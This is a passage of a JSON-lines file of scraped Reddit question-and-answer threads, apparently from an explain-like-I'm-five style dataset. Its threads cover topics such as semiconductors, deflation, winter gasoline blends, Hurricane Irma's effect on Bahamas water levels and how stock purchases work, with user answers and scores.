likely to study together and help each other out in the learning process. \n\nI can't tell you the number of times I was struggling with some basic concept freshman year and it was awesome having 59 other people living so close by who could help explain it. ", "I can't tell you what the school is thinking although I can say that at my school the commuting freshmen do that their entire lives and never spend time on campus whereas the on campus residents end up being more involved and going to more events. \n\nIt's probably a mix of keeping the residence halls full and being able to keep 18 year olds in a place where they're less susceptible to bad choices but still away from home. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4k32wp", "title": "I'm looking for the name of an instrument used onboard sailing ships (picture included)", "selftext": "_URL_0_\n\nIt's the V shaped object, right between the inkwell and pencil. The picture is from a video game since I sadly can't find a picture of a real one for reference. I know you use the instrument on maps though. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4k32wp/im_looking_for_the_name_of_an_instrument_used/", "answers": {"a_id": ["d3bpufn"], "score": [9], "text": ["It's a set of dividers, and they're not just used aboard sailing ships, but were used well into the 20th Century, and are still used today. They're used to measure the distance between two points on a chart. One leg is placed at one point, usually the ship's position. The dividers are opened so the other leg is on the point you wish to measure to. The dividers can then be compared to the scale on the chart. The dividers can also be 'walked', leg over leg, to plan a journey, or to measure a distance that would require the dividers to be opened greater than practical."]}, "title_urls": [], "selftext_urls": ["http://postimg.org/image/4ahdb3q2p/full/"], "answers_urls": [[]]}
{"q_id": "gl6xa", "title": "Quantum Gaps in Big Bang Theory: a Problem with the Theory of Inflation?", "selftext": "I read in Scientific American magazine today that basically the Big Bang theory must be replaced or fixed. The article said that the significance of the inflation problem is taken considerably lightly by most cosmologists. Why is this, if the gap in the theory is really as big as the magazine claims?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gl6xa/quantum_gaps_in_big_bang_theory_a_problem_with/", "answers": {"a_id": ["c1ocz5v"], "score": [3], "text": ["Link to article please."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3a4bd6", "title": "What is it about Group IV elements that make them good semiconductors?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3a4bd6/what_is_it_about_group_iv_elements_that_make_them/", "answers": {"a_id": ["cs9ba8w", "cs9ce7d"], "score": [7, 2], "text": ["For silicon, the key feature is 4 electrons in their outer orbitals. This allows silicon to form a crystal lattice with covalent bonding. Essentially there are no 'free' electrons, thus it takes energy to move electrons across a silicon crystal whereas a metal has many free electrons so they flow with minimal energies. Using dopants and silicon, you can create a diode which only allows current flow in a single direction. A dopant is a small impurity inserted into the silicon. P-type dopants create gaps and N-type dopants create free electrons. If you put the P-type next to a N-type as seen [here](_URL_0_), you get a diode where an applied current can cause free electrons from the n-type to jump to the p-type. If you apply the same current the other way, nothing happens because p-type only contain gaps. ", "To add to what was said, the four valence electrons are definitely helpful for producing an ordered crystal lattice where an atom evenly shares the four valence electrons with its neighbors.  But if you look at group IV, carbon typically isn't a semiconductor and tin and lead are metals.  That part depends on how much energy it takes to excite these electrons so they can travel freely in the crystal instead of being locally bound to the atoms.  It's a simplification, but you can think of the further out orbitals of tin and lead also being shielded by plenty of full inner shells and therefore more loosely bound to the nucleus, whereas carbon has few and therefore it's more tightly bound.\n\nYou can still create a similar effect by alternating a lattice of group III and group V elements and even II-VI since you average out to the same number of valence electrons.  The crystal lattice often still looks fairly identical, except that it's now a compound of two elements so they form what's called a zincblende structure where the compounds alternate lattice sites.  An example of this is GaAs, which in many ways has superior electrical properties to silicon.\n\nCarbon can be rather odd since it can form different crystals depending on the temperature and pressure of when it formed.  Graphite for instance can be quite conductive as long as you conduct within each plane.  That's because instead of forming a solid three-dimensional lattice, it's only covalent bonding on a 2D plane and has an extra electron that can conduct readily while there's only very weak bonding between planes.  Diamond on the other hand can be quite insulating since it takes more energy to excite electrons away from the atoms, but if you raise the temperature quite a lot it can actually become a good semiconductor.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://s.hswstatic.com/gif/diode.gif"], []]}
{"q_id": "3xtxrf", "title": "why does a car navigation system cost thousands of dollars extra, when my 300$ smartphone has the same functions plus many more?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xtxrf/eli5_why_does_a_car_navigation_system_cost/", "answers": {"a_id": ["cy7pybr", "cy7pze7", "cy7rr31", "cy7vfds", "cy7vfv5", "cy7vn8o", "cy7vs3v"], "score": [6, 14, 99, 2, 8, 2, 11], "text": ["Why are mettalic paints on car more expensive that their regular counterparts despite costing less to do  ? Because it's labelled as \"extra\". Because no one is regulatiing it. Because it cost them 10$ in hardware, a shitty software, and they can price it at \"1k$\", so that they can pretend to nicely offer it to you. It's the car version of raising a price 200% then discounting it by 50%.\n\nDon't get a car GPS. It's going to sucks balls, you'll need to pay for updates, and it will never have the funds that Google can pour into. ", "Because it's premium feature that's integrated into the car's headunit. My grandma has a CLA-250 with the navigation system, and it's larger than any phone screen (about the size of an iPad mini) and it has some cool 3D photorealistic models and other features, but user input is disabled when going over 3mph.  \n  \nAs for standalone one's like a Garmin, it's mainly a preference of using that over a phone.", "It is basically a luxury feature with a higher profit margin. This is the same concept when you order a phone and have to pay extra $100 for 16gb of more storage. \n\n", "Because the people who make your smart phone / app have to live or die by the quality of their product.\n\nThe people how make your car use the navigation system option as a way to increase their profit margin on the car.  They have no skin in the game.  If the car's engine doesn't work very well, they will be going out of business.  If the car's navi system doesn't work very well.... profit!\n\n", "How well does your phone work at -30\u00b0F? Or at 140\u00b0F?\n\n_URL_0_\n\nWhile they are luxury add ons and have a good profit margin, they are also tested to survive and operate in a wider range of conditions than a normal smartphone.\n\niPhone 6 and Galaxy phones have the same operating range\n\nOperating temperature \u2014 Between 32\u00b0F and 95\u00b0F\n\nStoring temperature (turned off) \u2014 Between -4\u00b0F and 113\u00b0F\n\nHumidity \u2014 5 percent to 95 percent noncondensing", "The in-car model is certainly over priced, but a key issue is the environmental durability.  If you had to leave you phone in the car all the time (consider the peak heat and cold conditions) year over year it would suffer badly from the conditions but these built in devices are designed for pretty extreme conditions and durability.", "A few reasons:\n\n1) Profit margin.  They know it's a luxury item and can charge more as some people are techies who have no problem either installing an aftermarket system, or would use their phone/external navigation system (e.g. Garmin).  \n\n2) Laziness and financial.  Some people would rather wrap the payment for nav into their car payment as an aftermarket nav unit is going to average $500 + install at your local car stereo shop, plus it takes time and you'd be surprised how many people would prefer just to not fuck with that.  Just check the box when buying the car and be done with it.\n\n3) This is more towards answering your actual question.  First, it's a proprietary system more often than not.  You'll notice that the nav system in a Mercedes isn't the same as the one in a Ford.  Most car companies have paid for their own setup and that requires them to get less return on their investment.  If there was just 1 navigation style system that was generic and went into all cars makes/models, it would be a lot cheaper as there would only be 1 group of people doing all the work on 1 project.  Next, that proprietary system has to be fault checked pretty hard core.  When was the last time you heard of someone's navigation unit crashing and they had to restart the car or the nav unit?  Lastly, the custom integration.  Even amongst the same car maker, different models have to be customized to deal with the features of the car.  \n\nAnyway, hope that helps to answer your question some.  When we start to see more Apple Carplay and the Google alternative rolling out, the units may actually become a little cheaper since they'll be more generic.  However again, not much cheaper, as people are now used to paying a lot of extra for the nav unit so why would the makers start charging less?  They'll charge what the market bears."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.avma.org/public/PetCare/Pages/Estimated-Vehicle-Interior-Air-Temperature-v.-Elapsed-Time.aspx"], [], []]}
{"q_id": "1zj1g3", "title": "what is a virtual office?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zj1g3/eli5_what_is_a_virtual_office/", "answers": {"a_id": ["cfu385h", "cfu4ymw", "cfu7jng"], "score": [8, 2, 2], "text": ["Some companies work from home/their car/whatever.  If they need to meet with clients or what not they can subscribe to a real estate company and they can get a secretary, meeting rooms (sometimes scattered around town), voice mail, floating offices, whatever, and they can get use of them for say X hours a month depending on what they buy.\n\nThe secretary then answers phones based on a script depending on what number was called and routes them to cell phones, voice mail, or pretty much anywhere depending on what the company needs.  \n\nThey can also be used for business addresses so there is someone to sign for your packages.  \n\n", "A virtual office is a fake office. It allows me to use the address of an office building without actually maintaining an office in that building. Your monthly fee will usually afford you an address, receptionist, access to meeting rooms, and in some situations: communal work areas.\n\nIn practice, I have office space I rent from a client. The office, however, is in an industrial area inside of a building that is 90% warehouse space. I have a single office and the other offices belong to the client.\n\nI don't want clients to show up at this location, and I want to project a professional image with a location downtown in a large building. So I get a virtual office. \n\n1.) My address appears like:\nBlue Widgets\n123 1st Street \nSuite 200\nDallas, Tx 75001\n\nIf a client looks up my address, they think I have office space in a premium location. I can use this address on business cards without people knowing my business is run from a PO box. Mail delivered to this address is either forwarded, or I must visit the actual building to pick up my mail.\n\n2.) If I were using the receptionist, when someone calls the receptionist would answer \"Blue Widgets Corporation\"... while she connects you. The receptionist is not dedicated and likely in a call center in India.\n\n3.) If a client wants to meet at my office, I book a conference room at 123 1st street. Since I am a subscriber, I get x amount of conference use per month.\n\nIn my situation, I only want the address. I always meet clients at their offices.", "I want to clarify that there are a variety of \"virtual office\" types, from simple mailboxes, to mailboxes plus business services, to that plus borrowable temporary office and meeting spaces."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2taqen", "title": "if deflation increases the purchasing power of consumers, why do financial institutions like the european central bank fight it by injecting money into the economy and causing inflation?", "selftext": "The ECB is currently pumping 1 trillion Euros into the economy to prevent it from what they call \"spiraling into deflation\" and stagnation. Deflation increases the real value of money, and therefore consumer purchasing power. When consumers have more purchasing power, they have a higher marginal propensity to consume, increasing demand. If people are spending, money is circulating in the economy. Why then, is deflation seen as something negative that needs to be fixed with inflation? Also, what's to keep the increase in inflation to avoid stagnation from leading to stagflation?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2taqen/eli5_if_deflation_increases_the_purchasing_power/", "answers": {"a_id": ["cnx9hea", "cnx9jsd", "cnxe8uv", "cnxlag2", "cnxmerp", "cnxop40", "cnxse2k"], "score": [14, 131, 4, 2, 7, 6, 4], "text": ["Deflation also amplifies debts, making them worth/cost more, which can have very unfortunate side effects.", "Because deflation will absolutely **devastate** the economy.  There's a thing called a [deflationary spiral](_URL_0_), which was a huge factor in the Great Depression.\n\nIn a nutshell, deflation causes money to rise in value over time.  So people stop investing and they slow their spending, because why by a car today when you can buy a car *and* a new computer next year with the same money?  So the economy begins to slow down, businesses suffer, and eventually have to start laying off employees.  So now you have a new set of people who are highly motivated to hold on to their money for as long as possible, resulting in even less overall spending, and even more businesses failing, and even more unemployment.  Eventually the entire economy grinds to a halt.\n\nA small amount of inflation is necessary to prevent that from happening.  Inflation encourages spending and investment, which keeps the economy humming along.", "If you wonder why deflation is bad, look at Japan. Their economy has been one of the slowest to recover, and they are currently going through deflation. The government recently approved injecting money into the economy to reverse this. Debt becomes crippling with deflation, investment goes down, people try to wait out big purchases which slows down the economy... it won't lead to instantaneous catastrophe like a housing bubble crash or the dot com crash, but it really prevents recovery.", "Inflation is used as a way to indirectly tax unused wealth and encourages spending and investment.", "I thought I'd try my hand at the simplest answer I could that captured the truth of it. By the question it's clear you know some of the relevant jargon, so I'm targeting this at folks less familiar with deflation. Hopefully it's helpful to some people.\n\n & nbsp;\n\nImagine you're in a simplified world, and your only two expenses each week are housing and chocolate. You live in a house and work in a chocolate factory. All of your friends do too. Each week you get paid $100, and you have to spend $20 on your mortgage no matter what - it's a contract. Whatever's left over you use to buy chocolates.\n\n & nbsp;\n\nWeek 1: One chocolate costs $1, so you pay your rent and buy 80 chocolates. Life is good.\n\n & nbsp;\n\nWeek 2: There is unexpected deflation, for some reason, and suddenly you can but 2 chocolates for $1. You pay your rent and spend the other $80 to get 160 chocolates! This is awesome!\n\n & nbsp;\n\nWeek 3: Everyone adjusts to the new prices. Because the chocolate factory only gets half as much money for the chocolate it sells, it has to cut its own expenses. Your wages are cut in half, and you only make $50 each week, but your mortgage payment didn't change (it's written in the contract). You pay your rent, have $30 left over, and now buy only 60 chocolates this week.\n\n & nbsp;\n\nWeek 4: The factory is in trouble. Last week, it only sold about 3/4 as many chocolates as they used to. They can't afford as many workers, and don't have enough work for everyone to do anyway. Some of your friends get laid off. You pay your rent and buy your 60 chocolates, and wish you were buying 80 chocolates like in week 1.\n\n & nbsp;\n\nWeek 5: The chocolate factory isn't selling as much chocolate as they wish they could. They lower their prices so that $1 buys 3 chocolates. You pay your rent and buy 90 chocolates this week. You have more buying power this week, sure, but you can see where this is going. That's deflation for you.\n\n & nbsp;\n\nWeek 6: Your friends who got laid off are skilled workers - they can make chocolate! They get together and decide to open their own chocolate factory. They need a $1000 loan from a bank to buy equipment and start their factory. When they get to the bank, though, the banker refuses to lend them any money. The $1000 is just getting more valuable sitting in the bank! They would rather wait - the bankers bet soon they'll be able to buy 4 chocolates for $1!\n\nMeanwhile the factory has to cut wages again. Now you only earn $33 per week, but you still have to pay your $20 mortgage. With your remaining $13 you buy only 39 chocolates this week. \n\nYour friends, on the other hand, are now unemployed. They bought 0 chocolates this week. No one else is hiring, because those other factories aren't doing well either. They aren't able to pay their mortgages. You wonder how long it will be before your wages are cut further. Maybe next week you'd rather save your own money instead of buying chocolates. \n\n & nbsp;\n\n\nThat is a deflationary spiral. Once the ball starts rolling, it's very difficult to reverse. It's why central bankers target an inflation rate above zero, so that when the economy starts taking a turn for the worse, there's a buffer between a recession and deflation. ", "Because people believe deflation will lead to entirely negative results. Deflation does lead to a spiral and stagnation, but that's not necessarily a bad thing. People used to call that a correction. \n\nFor whatever reason people in charge of economic policies, want to artificially extend growth periods and avoid corrections as much as possible.\n\nSome economists would say that deflationary spirals in the short term\n(a few years) is bad because of unemployment and very little consumer spending, but in the long term(decades) they have positive results because the economy was able to re-adjust itself.\n\n", "If you could print money, would you?  Why?\n\nThat's why governments print it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Deflation#Deflationary_spiral"], [], [], [], [], []]}
{"q_id": "2jgepc", "title": "what are the differences in these gasoline blends?summer blend vs winter blend.", "selftext": "Ya, I live in Minnesota, we have very cold winters here, as you may know. And our state switched to their \"winter blend gasoline\" from their \"summer blend gasoline\" in the last couple of weeks. I would like to know, what the differences are between the two, and the benefits, disadvantages, also why our government came up with the idea. Thanks a heap!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jgepc/eli5_what_are_the_differences_in_these_gasoline/", "answers": {"a_id": ["clbh25w", "clbi8ct"], "score": [4, 3], "text": ["The blend affects ease of starting in cold temperatures.  If you tried to start your car when its -20 with summer gas, it wouldn't start because the fuel doesn't vaporize enough to be ignited by the spark plug.", "I work in oil and gas, the main additive for winter blended gas is called isobutane. It allows the fuel to evaporate more readily at lower temperatures. This is important as liquid gasoline wont actually burn, it is the fuel vapors that burn. The advantages are better starting characteristics in a cold engine, the disadvantage is it makes gasoline more volatile at warmer temperatures. As for the last question, the government doesn't really have anything to do with it in my knowledge. I'm sure it was developed by an oil and gas company to be used in colder climates due to the need of a lower vapor pressure.\n\nMessage me if you have any questions.\n\nEdit: Clarification."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4wok77", "title": "what causes spontaneous pneumothorax on a healthy man? also if smoking is related, how?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wok77/eli5what_causes_spontaneous_pneumothorax_on_a/", "answers": {"a_id": ["d68rwlp", "d696jxh"], "score": [2, 2], "text": ["Blebs, basically a bubble/aneurysm on the lung that is weak and pops. Smoking irritates the lung tissue causing it to become weaker. ", "I had one a couple of years ago. Others have already covered what it is.\n\nAs for causes, it was explained to me that there's really no cause for it, hence spontaneous. Apparently there is a certain demographic that is more likely than others to experience - tall, lanky young men. \n\nI am a non-smoker. In fact, out of curiosity I asked the doctor about if smokers are more prone to such an event. He said no. He attributed it more to the fact that it could have been caused from years of playing contact sports and that it just decided that that day was the day it would occur. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6z4o8j", "title": "what caused the water to disappear (and in what manner will it return) from the bahamas coast?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6z4o8j/eli5what_caused_the_water_to_disappear_and_in/", "answers": {"a_id": ["dmsgkta", "dmsgqve", "dmsgzgh", "dmsh8vp", "dmshd5b", "dmshf0l", "dmshl7a", "dmsj96y", "dmslwri", "dmsndtl", "dmsohl2", "dmspnjq", "dmspz3o", "dmsq09a", "dmsrmtc", "dmss67p", "dmssl6f", "dmst52o", "dmstnwe", "dmsttkv", "dmstv93", "dmstzlm", "dmsu4rg", "dmsv9on", "dmsvrye", "dmt0wfx", "dmt67ks", "dmtmlt7"], "score": [16, 1358, 4, 5404, 203, 25, 180, 51, 5, 166, 38, 18, 5, 1378, 59, 5, 5, 2, 74, 2, 3, 860, 2, 85, 31, 2, 3, 3], "text": ["Isn't this what happens when there is a really big wave incoming? (tsunami)", "The hurricane is a massive low air pressure area.  Elswhere the air pressure is normal.   The different levels of pressure pushing down on the water surface will cause the water level to rise under the storm.  That water has to come from the outside areas.  Additional factors come into play as that \"hump\" moves into shallow waters, emphasising the differential.  As the storm dissipates the levels will gradually equalize again. ", "The hurricane's wind pattern pushes water ahead of the storm, causing a storm surge.  After the storm passes the water level drops because the water is being \"dragged\" away with the storm. ", "[Hurricane Irma is literally sucking the water away from shorelines\n](_URL_0_)\n >  \n >  Basically, Hurricane Irma is so strong and its pressure is so low, it\u2019s sucking water from its surroundings into the core of the storm.\n >  \n >  ...\n >  \n >  \n >  In any case, this isn\u2019t the sign of a tsunami. The water will return to Long Island, and it probably won\u2019t rush back with any great force. It will probably be back by Sunday afternoon.", "Basically, when a hurricane forms it creates a thing called a storm surge. A storm surge is when the hurricane pulls water towards it and with pressure and wind it pushes a huge wave to the coast. In this video, the water is being pulled by Hurricane Irma (I've seen this in another thread) from the Bahamas.\n\nAlso, someone can correct me too because the video has limited information.\n\n", "Think about it this way, hurricanes have storm surges, right?  Well, that water has to come from somewhere.  A combination of low pressure and wind can drive the water out to sea.", "They storm is a low pressure system. The center sucks water up. Think of it like a straw.\nThe water has to come from somewhere, outside of the center of the storm.\nSo there's a bulge of water under the center of the storm, and lower water around the outside. ", "Growing up by the ocean its the storm surge you fear.  High wind and rain suck but a storm surge is like a mini tsunami at high tide.  The ocean just rolls up and pushes through whatever barrier you thought might stop it.  Plus it's seawater and ruins electronics and most metal objects.", "Will this cause damage to the ecosystems?", "Bit late but I'm a current geography student who has been required to take a couple of meteorology classes, so I'll try my best to explain.  I'm also on mobile and can further explain later if needed. \n\nSo hurricanes are a low pressure system that is fueled by heat and water, Irma is so powerful that it is sucking water away from the ocean (away from the Bahamas). There's also a strong southeasterly wind that too is pushing water away from the Bahamas. These factors are causing this extreme low sea levels. There's also another tropical storm (Jose) that is north of the Bahamas and too could be pulling water away from the island.  The water should return by Sunday night to Monday morning.  Many times you see this phenomenon prior to a tsunami but is not the case in this instance. ", "How do you tell the difference between this and a tsunami? I'd be running for the hills at first sign of water leaving.", "How far out did the ocean recede? I'd be interested if anyone knows that.", "I'm going out on a limb here, but I think it has something to do with low pressure inside the storm. ", "This video was taken on [Long Island, Bahamas](_URL_2_), which has a very large but shallow inlet which connects to the ocean in the west. This footage is likely from that area, which you can see in the link above has many docks similar to the one seen in the video. Since it had a strong, persistent easterly wind for close to 24 hours, this was enough to lower the water level by several feet, turning a good portion of the lagoon into dry land.\n\nEdit: also to answer your second question, \"In what manner will it return\", it already did, [according to one of the original video posters](_URL_0_).\n\nEdit 2: Another meteorologist [posted this helpful diagram on Twitter](_URL_1_) showing the geometry of the bay and the wind direction.", "When the water returns will be it be that nice, clear blue water we all relate to the Bahamas, or will it be all dirty and murky looking from mixing with all of the other water of the hurricane?", "Storm surge.  All the water being sucked up by the various hurricanes passing through.  Eventually, the water will \"return\" through various means such as being pumped back into the oceans, evaporating then eventually condensing and returning as rain, etc.    \n  \nNature has a way of returning itself to normal no matter what we humans do. There was a whole series about what will happen after we're gone on discovery or nat-geo, that showed dramatizations of how the earth would basically erase us in the blink of an eye (comparative to the entire lifetime of the planet, that is)", "basically the hurricane is taking all the water from the Bahamas, and throwing it all over Florida", "There's a whole storm full of water the size of Florida in the sky. Where do you suppose all that water came from?", "Question! If you were to walk on the dry land until you met the water being *pulled* into Irma, how deep would it be? How gradually would the water get deeper? Are we talking about a mile of 1-inch deep water that slowly increases to 2-inches the closer I walk towards Irma? What would it look like? \n\nWould you be able to see a hill of water getting pulled into Irma? Or would it be so much water that you would not notice a difference? \n\nI wonder what it would look like!", "Can a massive hurricane at this scale cause water to escape the atmosphere???", "I just read some other responses and I'll attempt an eli5.\n\nImagine a cup of water with a straw in the middle. When you drink from the straw it creates a low pressure pulling water up. The surrounding water replaces the water that went up the straw which lowers the water level.", "Ok I'll take a crack at this. Imagine you have a bathtub full of water. Submerge a standard 20 ounce cup and lift it out the water upside down. You'll lower the water very little in the tub as it's now sucked up in a glass above the surface. Let's assume that's a category 1. Now do the same thing with a five gallon bucket. That's our category 5. So due to forces in the storm low pressure, wind and what not there's a column of water higher then the normal level in the center of the storm. The water has to come from somewhere so it's lower in the video and higher in the storm. Once the storms influence passes the water will flow back to its normal level. How'd I do? \ud83d\ude09", "Under what time frame does the water return? minutes? hours?", "Hurricanes suck.\n\nGo to the closest McDonalds, buy a Coke in a cup with a straw. Suck on the straw. Notice the Coke goes up the straw and the level of the Coke inside the cup drops.\n\nThe cup is the beach. The Coke is the ocean. And you are the hurricane.\n", "It's because the strongest winds of Irma are in its northeast quadrant, and are blowing water away from the region offshore of the Bahamas.  In effect the winds are piling up water ahead of them, leaving a depression where the waters are blown from.  This sucks in the surrounding waters, especially noticeable in the Bahamas which is a very shallow, broad submerged area in the direction of Irma.\n\nContrary to what others are saying here, it's [*mostly not the result of the low air pressure of the storm itself.*](_URL_0_)  Pressure drops result in about 5% of the surge of a powerful hurricane, and that would be directly under the eye.  Wind surge affects a much larger area and much greater height.\n\nThis makes sense if you do a back of the envelope calculation: One inch of mercury of pressure difference is about 13 inches of water. The center of a strong hurricane may be ~~two~~ three inches of mercury lower pressure, e.g. ~27 vs ~~~29~~ ~30, which converts to around three feet of water difference. So the sea level difference due to pressure is negligible- at most a bit over ~~2~~ 3 feet vs a total of 30 feet or whatever from a strong surge.  \n\n In this case the effect of the wind-driven storm surge leaving land high and dry is exacerbated by the shallow shelf area that the Bahamas rest on.\n\nEdit: Normal atmospheric pressure is closer to 30 not 29 inHg, so adjusted my numbers.  Also, [storm surge can be up to 50 feet, although such large surges depend on the interaction with seafloor and land topography](_URL_1_). ", "Perhaps this could give some clarity in simpler terms\n\n_URL_0_", "I know I'd most likely die doing it but I would have loved to run as far out as I could to look for old sunken ships. ", "The water came back already. I live in the Bahamas and this isn't the first time this has happened due to a hurricane."]}, "title_urls": [], "selftext_urls": ["https://www.liveleak.com/view?i=4b7_1504987072"], "answers_urls": [[], [], [], ["https://www.washingtonpost.com/news/capital-weather-gang/wp/2017/09/09/hurricane-irma-is-literally-sucking-the-water-away-from-shorelines/"], [], [], [], [], [], [], [], [], [], ["https://www.reddit.com/r/TropicalWeather/comments/6z2zfl/can_anyone_describe_what_is_happening_in_this/", "https://twitter.com/wxbrad/status/906719579099070465/photo/1", "https://www.google.com/maps/place/Long+Island/@23.1811792,-75.1717779,12401m/data=!3m1!1e3!4m5!3m4!1s0x8933f0a4bde71d17:0x26ac68abe088712e!8m2!3d23.1764239!4d-75.0961549"], [], [], [], [], [], [], [], [], [], [], ["http://www.nhc.noaa.gov/surge/", "https://www.wunderground.com/hurricane/surge_world_records.asp"], ["https://www.instagram.com/p/BY2TtTGDNKy/?taken-by=nyc4revolution"], [], []]}
{"q_id": "3xxfhl", "title": "can you buy stocks if no one sells?", "selftext": "Hello,\n\nSo i\u2019m quite new at stocks and i have my eye on 7 companies that have gone up between 4%~8% in the past 2 months. But i read somewhere that stocks work when you buy stocks off someone who already has it?\n\nCan you explain this concept? Do i have to wait for someone to sell or can i just buy through a broker with no wait time? Sorry if it\u2019s a silly question.\n\nThank you", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xxfhl/eli5can_you_buy_stocks_if_no_one_sells/", "answers": {"a_id": ["cy8nrte", "cy8nry9", "cy8ns3i", "cy8p4zp", "cy93ene"], "score": [8, 7, 3, 4, 2], "text": ["You do have to buy them from someone who is selling them (Unless it's an Initial Public Offering, which is the first sale of them to generate revenue for the company), however, the only variable will be how much you need to offer to get them (If a stock is trading at $1.00, you usually can't buy them at 1.00, you have to offer slightly more.  People who think the stock will stay where it is or go down would probably sell.  Even in your example, people could think the stock is overvalued).", "You can't buy a stock that no one is selling. But most stocks are owned by thousands of people, such that there is almost always someone offering to sell -- if not at your price, then at some higher price.", "With a very few exceptions, someone has to sell a share for someone else to buy it. There's a good reason for this; if I think I'm buying 1 share of a company that's worth a billion dollars, with a net income of 100 million a year, and I know there are 999,999 other shares outstanding, I can come up with a good value of how much my share is worth, how much of a dividend I can expect, and so on.\n\nIf someone can create a \"float\" of 100,000 shares and sell them to a new investor, then there are (sorta) 1,100,000 shares out there and the value of the company is diluted significantly.\n\nFor widely-traded companies, you can \"sell short\", but even there, you're borrowing shares that a broker holds and agreeing to pay them within a certain number of days. They're not creating new shares, they're just extending you credit.\n\nFor any public company there's always liquidity (people buying and selling). If you're buying 100 shares of IBM, you can count on the fact that there are so many thousands of shares being traded per minute that your order will be matched with a seller of 100 shares within seconds. For smaller companies, the wait (and risk) may be longer.\n\n", "The issue is never *whether* anyone will sell, but trading volume.  The quoted price of a stock is the price at which people are *currently* willing to buy and sell.  If no one is willing to sell at the currently listed price, then buyers offer prices that are a few pennies higher, a few pennies higher, until someone sells.  A stock with any significant trading volume will never have a lack of someone willing to sell you the stock; it's just a question of what price your broker has to offer to get you shares.\n\nBy the way, if you don't understand this you *should not be playing the stock market*.  If you want to have fun gambling, go to a casino. If you want to invest for the future, buy shares in an index fund.", "If no one is selling a stock, then, no, you can't buy it.  \n\nWhen you request a trade, you do that through a \"broker\" and it goes to a \"market\", such as the New York Stock Exchange.\n\nYour request to buy has a quantity and your desired price, called your \"bid\" price.  There's other bidders trying to buy in the same marketplace, and usually, there's other people asking to sell.  The buy and sell orders get combined into groups of 100, called board lots.  \n\nWhen a buyer's bid price (and quantity) matches a seller's ask price (and quantity), then a transaction can be made.  In the old days, that's what was happened when you saw traders yelling and doing hand signals to each other on the market floor.  Now, that all happens with computers.  \n\nIf you're trying to buy a stock that nobody else is selling, or your bid price is too low compared to the ask price, or your quantity can't be matched up, then your trade will not be completed.  \n\nThere's also situations where new stock will be issued for sale.  Suppose a company decides they want to raise money by issuing and selling some shares.  The quantities are sold through brokers, and your offer to buy is either matched with them or it isn't.  The brokers may have other policies in place to decide who gets to buy the stocks and what quantities.\n\nIf you're having trouble buying a stock, it must be extremely rare, or else the offer price is way too low, or you are requesting an unusual quantity that can't be matched up. \n\nNowadays, computers and connected insiders buy and trade stock units in milliseconds, taking tiny profits each time.  It's a shady business they conduct, as their computers are connected directly to the to the exchange computers which gives them quicker access to what's happening.  If that sounds scary, it is.  However it has an advantage in the fact that many units of stock are being constantly bought and sold, increasing the chance that you'll be able to match up your trade.  Your request to buy a stock for $13.00 could conceivably be matched up with a computer who bought it one second ahead of you for $12.95 because they saw that you and others might be interested.\n\nA good brokerage will let you see the available bid and ask transactions so you can observe what other sellers and buyers are doing.  This can help you make an offer that is more likely to be accepted.  \n\nIf you see lots of bidders and large quantities at $13.00 going unfilled, and lots of unfilled asks at $13.10, you can set your price target a bit higher to meet or entice the sellers.  \n\nIt's also a good idea to try and sell in multiples of a board lot, as in 100 shares, or 200 shares, 300 shares, etc.  \n\nif you try to buy a lesser amount, then you'll have to wait for other trader's requests to combine with yours.  With a thinly traded stock, you might have to wait awhile on a request to buy 96.25 shares, whereas a request to buy 100 shares might be quickly matched.\n\nThe overall amount of stocks available to buy and sell is referred to as \"liquidity\", meaning how easy it is to buy and sell on demand.\n\nBut in general, if you're a beginner, and you are trading in stocks that can be easily matched, you are way outside of a proper risk profile.\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4e0qq6", "title": "a matrioska brain", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e0qq6/eli5_a_matrioska_brain/", "answers": {"a_id": ["d1w0xuz", "d1w3o7i"], "score": [16, 2], "text": ["Take a solar-powered calculator, one of those cheap-ass branded demo jobbies that sits on office desks. It uses solar energy to drive a computational engine.\n\nNow take the solar panel and make it a few yards square and add a storage mechanism for the power. After a sunny day, you now have enough power to run a standard laptop for a while, so your efficiency and speed of doing stuff is increased because your computational power is increased. \n\nCover your whole house and yard with those solar panels, and you have enough to run a server farm... except for that annoying night. So you move your solar power and computer into space where there's no night, and you no longer need to worry about power storage. Battery system goes bye-bye.\n\nKeep increasing and increasing the size of your solar panels and, as long as your technology can keep up, you get more and more computational ability since you're harvesting a lot more power. \n\nSo max the system out completely, and you have a layer of computers and solar panels (or heat-resistant equivalent) in a shell that surrounds the entire sun, harvesting ALL of its power. The computing and storage power at this machine's disposal is astoundingly immense, and as your computing power increases so presumably does that computer's intellect and potential consciousness.\n\nThat's a matrioska brain.", "Check out Accelerando by Charles Stross for a great story including these brains becoming a sinister power, space lobsters, interstellar networks and more!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
